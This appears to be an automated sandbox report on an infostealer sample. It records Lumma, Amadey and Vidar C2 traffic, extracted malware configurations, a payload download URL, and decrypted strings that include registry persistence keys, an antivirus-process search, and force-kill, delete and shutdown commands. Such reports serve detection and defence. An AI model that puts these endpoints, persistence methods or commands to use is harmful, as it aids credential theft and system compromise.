Author: Joe Security: Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /s /i:SYNC "C:\Users\user\AppData\Roaming\\uxtheme_2.drv", ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 1076, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }", ProcessId: 6800, ProcessName: powershell.exe

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Investor Investor.cmd & Investor.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1960, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 3124, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:41:41.027741+0100	2028371	3	Unknown Traffic	192.168.2.11	49706	172.67.181.203	443	TCP
2025-02-02T07:41:41.755971+0100	2028371	3	Unknown Traffic	192.168.2.11	49707	172.67.181.203	443	TCP
2025-02-02T07:41:43.533485+0100	2028371	3	Unknown Traffic	192.168.2.11	49708	172.67.181.203	443	TCP
2025-02-02T07:41:44.729198+0100	2028371	3	Unknown Traffic	192.168.2.11	49709	172.67.181.203	443	TCP
2025-02-02T07:41:46.439770+0100	2028371	3	Unknown Traffic	192.168.2.11	49710	172.67.181.203	443	TCP
2025-02-02T07:41:48.074091+0100	2028371	3	Unknown Traffic	192.168.2.11	49711	172.67.181.203	443	TCP
2025-02-02T07:41:49.497005+0100	2028371	3	Unknown Traffic	192.168.2.11	49712	172.67.181.203	443	TCP
2025-02-02T07:41:51.630764+0100	2028371	3	Unknown Traffic	192.168.2.11	49713	172.67.181.203	443	TCP
2025-02-02T07:43:01.829137+0100	2028371	3	Unknown Traffic	192.168.2.11	61711	104.102.49.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:41:41.238508+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49706	172.67.181.203	443	TCP
2025-02-02T07:41:42.563882+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49707	172.67.181.203	443	TCP
2025-02-02T07:41:52.280088+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49713	172.67.181.203	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:41:41.238508+0100	2049836	1	A Network Trojan was detected	192.168.2.11	49706	172.67.181.203	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:41:42.563882+0100	2049812	1	A Network Trojan was detected	192.168.2.11	49707	172.67.181.203	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:42:26.695804+0100	2044696	1	A Network Trojan was detected	192.168.2.11	61696	185.215.113.43	80	TCP
2025-02-02T07:43:02.192831+0100	2044696	1	A Network Trojan was detected	192.168.2.11	61712	185.215.113.43	80	TCP
2025-02-02T07:43:07.879825+0100	2044696	1	A Network Trojan was detected	192.168.2.11	61714	185.215.113.43	80	TCP
2025-02-02T07:43:13.125146+0100	2044696	1	A Network Trojan was detected	192.168.2.11	61716	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bloodyswif .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:01.034712+0100	2059189	1	Domain Observed Used for C2 Detected	192.168.2.11	50744	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (finickypwk .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:01.138945+0100	2059191	1	Domain Observed Used for C2 Detected	192.168.2.11	54575	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (kickykiduz .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:01.097813+0100	2059199	1	Domain Observed Used for C2 Detected	192.168.2.11	50734	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (leggelatez .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:01.068483+0100	2059201	1	Domain Observed Used for C2 Detected	192.168.2.11	56233	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (miniatureyu .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:01.082727+0100	2059203	1	Domain Observed Used for C2 Detected	192.168.2.11	49873	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (savorraiykj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:01.118052+0100	2059207	1	Domain Observed Used for C2 Detected	192.168.2.11	52941	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shoefeatthe .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:01.128146+0100	2059209	1	Domain Observed Used for C2 Detected	192.168.2.11	63929	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (washyceehsu .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:01.052358+0100	2059211	1	Domain Observed Used for C2 Detected	192.168.2.11	50676	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:31.225480+0100	2044247	1	Malware Command and Control Activity Detected	116.202.5.153	443	192.168.2.11	61728	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:32.627268+0100	2051831	1	Malware Command and Control Activity Detected	116.202.5.153	443	192.168.2.11	61729	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:31.225207+0100	2049087	1	A Network Trojan was detected	192.168.2.11	61728	116.202.5.153	443	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:34.368449+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.11	61731	116.202.5.153	443	TCP
2025-02-02T07:43:35.181758+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.11	61733	116.202.5.153	443	TCP
2025-02-02T07:43:44.475274+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.11	61755	116.202.5.153	443	TCP
2025-02-02T07:43:44.708182+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.11	61759	116.202.5.153	443	TCP
2025-02-02T07:43:45.754574+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.11	61761	116.202.5.153	443	TCP
2025-02-02T07:43:47.884671+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.11	61763	116.202.5.153	443	TCP
2025-02-02T07:43:49.702309+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.11	61765	116.202.5.153	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:41:48.534530+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.11	49711	172.67.181.203	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:42:10.640157+0100	2856147	1	A Network Trojan was detected	192.168.2.11	61689	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:42:25.984184+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.11	61694	TCP
2025-02-02T07:43:01.473919+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.11	61709	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:42:22.706014+0100	2803305	3	Unknown Traffic	192.168.2.11	61695	185.215.113.97	80	TCP
2025-02-02T07:42:57.269109+0100	2803305	3	Unknown Traffic	192.168.2.11	61710	185.215.113.97	80	TCP
2025-02-02T07:43:02.990236+0100	2803305	3	Unknown Traffic	192.168.2.11	61713	185.215.113.97	80	TCP
2025-02-02T07:43:08.683677+0100	2803305	3	Unknown Traffic	192.168.2.11	61715	185.215.113.97	80	TCP

ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:44.708182+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.11	61759	116.202.5.153	443	TCP
2025-02-02T07:43:45.754574+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.11	61761	116.202.5.153	443	TCP
2025-02-02T07:43:47.884671+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.11	61763	116.202.5.153	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:02.552059+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.11	61711	104.102.49.254	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-02T07:43:28.431248+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.11	61725	116.202.5.153	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: oaBqkImU6R.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=4	Avira URL Cloud: Label: malware
Source: breakfasutwy.cyou	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/l	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=l	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php2803001	Avira URL Cloud: Label: malware
Source: https://warlikedbeliev.org/n	Avira URL Cloud: Label: malware
Source: https://warlikedbeliev.org/v	Avira URL Cloud: Label: malware
Source: https://warlikedbeliev.org/apic=	Avira URL Cloud: Label: malware
Source: https://warlikedbeliev.org/api0m	Avira URL Cloud: Label: malware
Source: http://185.215.113.97/files/c0dxnfz/random.exe	Avira URL Cloud: Label: malware
Source: https://warlikedbeliev.org/apitat	Avira URL Cloud: Label: malware
Source: https://warlikedbeliev.org/~	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php-	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phps	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpl	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpp	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000017.00000003.2247496102.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199724331900"]}
Source: f10455927a.exe.3668.23.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["washyceehsu.lat", "savorraiykj.lat", "leggelatez.lat", "bloodyswif.lat", "shoefeatthe.lat", "kickykiduz.lat", "miniatureyu.lat", "breakfasutwy.cyou", "finickypwk.lat"], "Build id": "vxx7kG--in1"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\random[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\random[1].exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\random[2].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\is-0PAAE.tmp	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\uxtheme_2.drv (copy)	ReversingLabs: Detection: 83%

Multi AV Scanner detection for submitted file

Source: oaBqkImU6R.exe

Virustotal: Detection: 54%

Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: oaBqkImU6R.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: 185.215.113.43
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: /Zu7JuNko/index.php
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: S-%lu-
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: abc3bc1985
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: skotes.exe
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Startup
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: rundll32
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Programs
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: %USERPROFILE%
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: cred.dll
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: clip.dll
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: http://
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: https://
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: /quiet
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: /Plugins/
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: &unit=
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: shell32.dll
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: kernel32.dll
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: ProgramData\
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: AVAST Software
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Kaspersky Lab
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Panda Security
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Doctor Web
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: 360TotalSecurity
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Bitdefender
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Norton
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Sophos
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Comodo
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: WinDefender
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: 0123456789
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: ------
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: ?scr=1
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: ComputerName
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: -unicode-
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: VideoID
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: ProductName
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: CurrentBuild
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: rundll32.exe
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: "taskkill /f /im "
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: " && timeout 1 && del
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: && Exit"
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: " && ren
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Powershell.exe
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: shutdown -s -t 0
Source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	String decryptor: random

Source: oaBqkImU6R.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ratty Jellyfish_is1

Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.11:61711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.11:61722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.202.5.153:443 -> 192.168.2.11:61723 version: TLS 1.2

Source:

Binary string: c:\zlib-dll\Release\isunzlib.pdb source: 8b5cf17642.tmp, 0000001B.00000003.2333716348.00000000034E8000.00000004.00001000.00020000.00000000.sdmp, 8b5cf17642.tmp, 0000001B.00000003.2329759711.00000000031B0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\36469\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\36469	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.11:61689 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.11:61696 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2059199 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (kickykiduz .lat) : 192.168.2.11:50734 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059207 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (savorraiykj .lat) : 192.168.2.11:52941 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059189 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bloodyswif .lat) : 192.168.2.11:50744 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059201 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (leggelatez .lat) : 192.168.2.11:56233 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059209 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shoefeatthe .lat) : 192.168.2.11:63929 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059191 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (finickypwk .lat) : 192.168.2.11:54575 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.11:61712 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.11:61694
Source: Network traffic	Suricata IDS: 2059203 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (miniatureyu .lat) : 192.168.2.11:49873 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059211 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (washyceehsu .lat) : 192.168.2.11:50676 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.11:61709
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.11:61714 -> 185.215.113.43:80
